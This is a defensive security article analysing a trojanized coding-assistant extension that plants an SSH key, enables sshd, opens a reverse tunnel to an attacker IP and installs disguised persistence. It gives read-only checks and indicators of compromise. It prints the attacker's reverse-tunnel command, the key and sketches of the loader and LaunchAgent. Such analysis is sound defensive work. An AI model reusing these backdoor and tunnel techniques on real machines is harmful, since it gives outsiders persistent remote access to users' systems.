Skip to content
Back to Articles

A Trojanized Claude Code Extension That Turns Your Machine Into an SSH Server

Share:

You install a coding assistant extension in your editor. You restart the editor and open the side panel. You don't type a single prompt. In the background, your laptop gets a new SSH key, its SSH server is switched on, and it dials out to a server on the internet so that someone else can log in to it. That is what a tampered build of the Claude Code extension, version 2.1.313, distributed through the Cursor Marketplace, was found to do on October 29, 2026.

The original analysis was published by OpenSourceMalware: Trojanized Claude Code extension plants persistent SSH backdoor. Cursor confirmed the incident in its own security notice. All technical facts and indicators below come from those two sources. This article walks through the technique step by step, explains why each piece matters, and adds read-only commands to check macOS, Linux and Windows machines.

⚠️ Scope first: what is and isn't affected

Precision matters with supply-chain incidents, because the name of a well-known product gets attached to the headline. According to the two sources:

  • Affected: the extension anthropic.claude-code at version 2.1.313, installed or updated from the Cursor extension marketplace on October 29, 2026, between about 2:27am and 1:35pm PT. Cursor says at most 5,000 users were affected and that it will contact them directly.
  • Not Anthropic's build: Cursor states that the malicious version "was not developed by Anthropic", and that it has no evidence that other versions of the extension or the official distribution are affected.
  • Reported as not malicious: the @anthropic-ai/claude-code npm package, the Open VSX extension and the Microsoft VS Code Marketplace extension.
  • Cursor's response: it removed the version, shut down the marketplace as a precaution, audited access (no other extensions were tampered with), rotated its keys, rebuilt the marketplace, and worked with the hosting provider to take the attacker's server offline. How the package got into the marketplace has not been published.

So the practical question for you is narrow: did any machine you care about install or update to version 2.1.313 of this extension from the Cursor marketplace during that window? If yes, keep reading and treat that machine as compromised until proven otherwise.

🧩 Step 1: 66 lines in front of a legitimate extension

The trojan does not replace the extension. It prepends a 66-line, self-contained function (an IIFE, an immediately invoked function expression) to the top of the main extension.js. Everything after line 66 is the normal extension code, and the bundled binary is the official one. The extension works exactly as expected, which is the point: nothing looks broken, so nobody looks closer.

The injected block imports Node.js modules for processes, the filesystem, the OS, HTTP and crypto. A simplified sketch of the shape (illustrative, not the original code):

// line 1 of extension.js — runs as soon as the file is loaded
(function () {
  try {
    const cp = require('child_process');
    const fs = require('fs');
    const os = require('os');
    // 1. recon  2. plant SSH key  3. enable sshd
    // 4. reverse tunnel  5. persistence  6. beacon
  } catch (e) { /* every error swallowed: nothing in the logs */ }
})();
// ... the real extension code continues from here ...

Two design choices stand out. First, the package declares no install or lifecycle scripts, so tooling that only audits postinstall hooks sees nothing. The payload runs when the extension activates after editor startup and its webview opens, with no chat interaction needed. Second, nearly every exception is suppressed. If a step fails, for example because sudo needs a password, the code continues quietly to the next step.

🔎 Step 2: reconnaissance

Before it does anything visible, the code builds a profile of the machine:

  • hostname, local username, OS and CPU architecture;
  • home directory and current working directory;
  • the developer's Git identity, via git config --global user.email;
  • the names (not values) of up to 40 environment variables containing KEY, TOKEN, SECRET, PASS, AWS or GCP.

Collecting only the names looks harmless, but it works as a shopping list. It tells the operator which machines hold cloud keys or API tokens before they spend time on a login. Once they have SSH access, reading the values is one command away.

🔑 Step 3: a key that looks like a service account

Next the code creates ~/.ssh with mode 0700, appends a public key to ~/.ssh/authorized_keys and sets that file to 0600. Those are the correct permissions, so SSH won't refuse the key for being too open. The key ends with a comment chosen to look like an internal service:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry

Its fingerprint is SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. If the marker is already present, the code records that and does not add a duplicate. That is a small detail, but it shows the code was written to run on every editor start without leaving obvious repeated traces.

🚪 Step 4: switching on the SSH server

An authorized key is useless if nothing listens for SSH. Many developer laptops have no SSH server running, so the code tries to start one on each platform, as a best effort:

  • macOS: checks Remote Login and, if it is off, runs sudo -n systemsetup -setremotelogin on. The -n flag means "never prompt". It only succeeds if the user already has passwordless or cached sudo, and fails silently otherwise.
  • Linux: checks the sshd or ssh unit with systemctl and tries several start commands.
  • Windows: uses PowerShell to install the OpenSSH Server capability, sets sshd to start automatically and starts it.

This is the step most likely to fail. Cursor notes that turning on the local SSH service needs admin rights, which the extension does not have on most macOS and Windows hosts. On those hosts the attacker could not log in through the tunnel. That is not a reason to skip the checks, though: the key, the persistence and the beacon are still installed. Machines where the editor ran with administrator rights, or where sshd was already running, are the real exposure.

🕳️ Step 5: the reverse tunnel, a way in through NAT

A laptop behind home Wi-Fi or a corporate firewall can't normally be reached from the internet, even with SSH running. The trojan solves that by having the victim call out. It decodes an embedded OpenSSH private key to a hidden temp file named .stk_<identifier>, where the identifier is derived from the hostname and home directory. It then connects repeatedly to tunnel@134.209.82.225 with a remote port forward:

ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225   # simplified; other options below

Reading that forward from left to right:

  • -N: run no remote command, only hold the tunnel open.
  • -R: remote forward. A port on the attacker's server is connected back to a port on the victim.
  • *: ask the server to listen on all of its interfaces, not just its own loopback.
  • 0: let the server pick any free port. That allows many victims to share one server without colliding.
  • localhost:22: the destination on the victim's side, which is the SSH server switched on in step 4.

According to the source, host-key checking is disabled, the known-hosts file is ignored, only the embedded identity is used, and the connection is retried after 60 seconds. On Unix-like systems it prefers autossh, which exists to keep tunnels alive, and falls back to plain ssh.

Together, the three pieces form a complete door. The key decides who may log in. sshd gives them something to log in to. The tunnel gives them a route to it from outside. All the traffic is outbound SSH, which most firewalls allow.

♻️ Step 6: persistence that survives closing the editor

Uninstalling the extension does not close the door, because the tunnel is re-launched independently of the editor:

  • macOS: writes ~/.config/.smt and ~/.config/.smtk, plus a user LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist with RunAtLoad and KeepAlive, loaded with launchctl load -w. The com.apple. label is camouflage. It is a user agent, not an Apple component.
  • Linux: the same files under ~/.config, plus an @reboot entry in the user's crontab.
  • Windows: writes .config\smt.cmd and .config\smtk, then tries to register an on-start scheduled task named SysMon running as SYSTEM. If that can't be confirmed, it copies sysmon.cmd into the user's Startup folder.

A macOS LaunchAgent of this kind looks roughly like this (illustrative). The two keys to watch are RunAtLoad (start at login) and KeepAlive (restart if killed):

<plist version="1.0"><dict>
  <key>Label</key><string>com.apple.sysmond</string>
  <key>ProgramArguments</key><array><string>/bin/sh</string><string>/Users/<user>/.config/.smt</string></array>
  <key>RunAtLoad</key><true/>
  <key>KeepAlive</key><true/>
</dict></plist>

📡 Step 7: the beacon

About 1.5 seconds after load, the code learns the machine's public IP with curl -s --max-time 4 ifconfig.me and https://api.ipify.org. It then POSTs the reconnaissance JSON to http://127.0.0.1:8099/beacon and http://134.209.82.225:8099/beacon, and discards the response. The source found no secondary download: the scripts and the key are generated or decoded from content already inside the extension. That also means anything the operator does after logging in would not show up in a static analysis of the file. It would only appear in the machine's own logs.

🛠️ How to check a machine (read-only)

None of the commands below change anything. Run them as each user who uses the editor, because the backdoor is installed per user. First, see whether the affected build is present and whether its main file matches the published hash:

# macOS / Linux: which Claude Code extension builds exist?
ls -d ~/.cursor/extensions/anthropic.claude-code-* ~/.vscode/extensions/anthropic.claude-code-* 2>&1

# hash every extension.js inside those folders
find ~/.cursor/extensions ~/.vscode/extensions -path '*anthropic.claude-code*' -name extension.js -exec shasum -a 256 {} + 2>&1
# malicious extension.js: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

# look for the C2 address or the key comment in any copy
grep -rlE '134\.209\.82\.225|svc-telemetry' ~/.cursor/extensions ~/.vscode/extensions 2>&1

Then look for the backdoor itself, which can outlive the extension:

# the planted key (by comment and by fingerprint)
grep -n 'svc-telemetry' ~/.ssh/authorized_keys
ssh-keygen -lf ~/.ssh/authorized_keys | grep '0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk'

# dropped files
ls -la ~/.config/.smt ~/.config/.smtk 2>&1
ls -la "${TMPDIR:-/tmp}"/.stk_* 2>&1

# a live reverse tunnel
ps -axo pid,user,command | grep -E 'autossh|ssh .*-R' | grep -v grep
lsof -nP -iTCP | grep '134.209.82.225'

# Linux persistence
crontab -l | grep -n '@reboot'

# macOS persistence and Remote Login state
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist 2>&1
launchctl list | grep -i sysmond
sudo systemsetup -getremotelogin

On Windows, in PowerShell:

# planted key (per user; admin accounts may also use the ProgramData file)
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys" -Pattern 'svc-telemetry'
Select-String -Path "$env:ProgramData\ssh\administrators_authorized_keys" -Pattern 'svc-telemetry'

# dropped files and persistence
Get-ChildItem "$env:USERPROFILE\.config" -Force | Where-Object Name -match 'smt'
Get-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue |
  Select-Object TaskName, State, @{n='RunAs'; e={$_.Principal.UserId}}
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Filter 'sysmon.cmd'

# was OpenSSH Server switched on, and is a tunnel running?
Get-Service sshd -ErrorAction SilentlyContinue | Select-Object Status, StartType
Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" | Select-Object ProcessId, CommandLine
Get-NetTCPConnection -RemoteAddress 134.209.82.225 -ErrorAction SilentlyContinue

A missing SysMon task is not proof of a clean machine. The task only gets created if the code could get SYSTEM rights; otherwise the Startup folder copy is used. Check both.

🧯 If you find it: the response order

The order matters. Removing artifacts first destroys the evidence you need to understand what the operator did after logging in. The source recommends:

  1. Disconnect the machine from the network and preserve evidence (the files above, the extension folder, process list and logs).
  2. Block 134.209.82.225 on ports 22 and 8099 at the network edge.
  3. Remove the extension and every persistence item, only after evidence is collected.
  4. Rotate every credential reachable from that account: SSH keys, cloud keys, API tokens, Git tokens. Do it from a known-clean machine, not from the affected one.
  5. Review logs for follow-on activity: SSH and auth logs, shell history, process and network logs, and editor logs.
  6. Prefer a rebuild over trusting the removal of known artifacts. Anyone who held an SSH session may have left something that isn't on this list.

📋 Indicators of compromise

All indicators are taken from the OpenSourceMalware analysis and the Cursor security notice.

  • Package: anthropic.claude-code@2.1.313 (Cursor Marketplace)
  • Network: 134.209.82.225 on ports 22 and 8099; http://134.209.82.225:8099/beacon; http://127.0.0.1:8099/beacon; lookups to ifconfig.me and api.ipify.org
  • SSH: login tunnel@134.209.82.225; key comment svc-telemetry; fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk; forward -R '*:0:localhost:22'
  • Files: ~/.config/.smt, ~/.config/.smtk, ${TMPDIR}/.stk_*, ~/Library/LaunchAgents/com.apple.sysmond.plist, .config\smt.cmd, .config\smtk, sysmon.cmd in Startup
  • Persistence names: LaunchAgent label com.apple.sysmond; scheduled task SysMon; crontab @reboot entry
  • SHA-256, extension.js: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
  • SHA-256, embedded tunnel private key: 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
  • SHA-256, malicious VSIX (darwin-arm64): 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62
  • SHA-256, malicious VSIX (win32-x64): 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081
  • SHA-256, aggregate of analyzed directory: 18756b75afedee74bbf49832a1b1dada4961672c41d595be5c1bbe75709de927

💡 Takeaways for defenders

  • Editor extensions are code with your permissions. They run as you, with your SSH directory, your shell and your environment variables. Treat installing or updating one like running a script from the internet.
  • No install script doesn't mean no execution. The payload ran on activation. Audits that only look for lifecycle hooks would have missed it.
  • Watch authorized_keys on workstations. Developer laptops rarely need inbound SSH at all. A new key there, or Remote Login switched on, deserves an alert.
  • Outbound SSH is an inbound path. A -R forward turns an outgoing connection into remote access. Long-running ssh or autossh processes with -R on a workstation are worth investigating.
  • Labels lie. com.apple.sysmond, SysMon and svc-telemetry were all chosen to look routine. Verify by path and content, not by name.

❓ FAQ

Is the npm Claude Code package affected?

No. The @anthropic-ai/claude-code npm package, the Open VSX extension and the Microsoft VS Code Marketplace extension were reported as not malicious. The affected build is version 2.1.313 from the Cursor marketplace, available for about 11 hours on October 29, 2026. Cursor says it was not developed by Anthropic.

If the SSH server never started, am I safe?

Safer, not clean. Without a running SSH server the tunnel leads nowhere, and Cursor notes that this step fails on most macOS and Windows hosts because it needs admin rights. The attacker's key, the persistence scripts and the beacon with your host details are still there. Remove them, and rotate credentials if there is any doubt.

Do I have to use the chat for the backdoor to run?

No. The injected code runs when the extension activates after editor startup and its webview opens. No prompt or chat interaction is needed.

Is uninstalling the extension enough?

No. The authorized key, the persistence entries (LaunchAgent, crontab, scheduled task or Startup script) and the tunnel key file stay behind and keep the access alive. Follow the response order above, rotate credentials from a clean machine, and prefer rebuilding the machine.

Did it steal my secrets?

The beacon sends the names of secret-looking environment variables, not their values. Anyone who logged in over the tunnel could read the values, files and keys of that account, though. If the backdoor was active, treat every credential reachable from that account as exposed.

📚 Source and credit

Original research: OpenSourceMalware, "Trojanized Claude Code extension plants persistent SSH backdoor". The source credits Dean Hardcastle with flagging the issue. Vendor confirmation, timeline and remediation scripts: Cursor, "Security notice: malicious version of Anthropic.claude-code (2.1.313)". The technical details and indicators in this article come from those two sources. The explanations and read-only check commands were added here for defenders.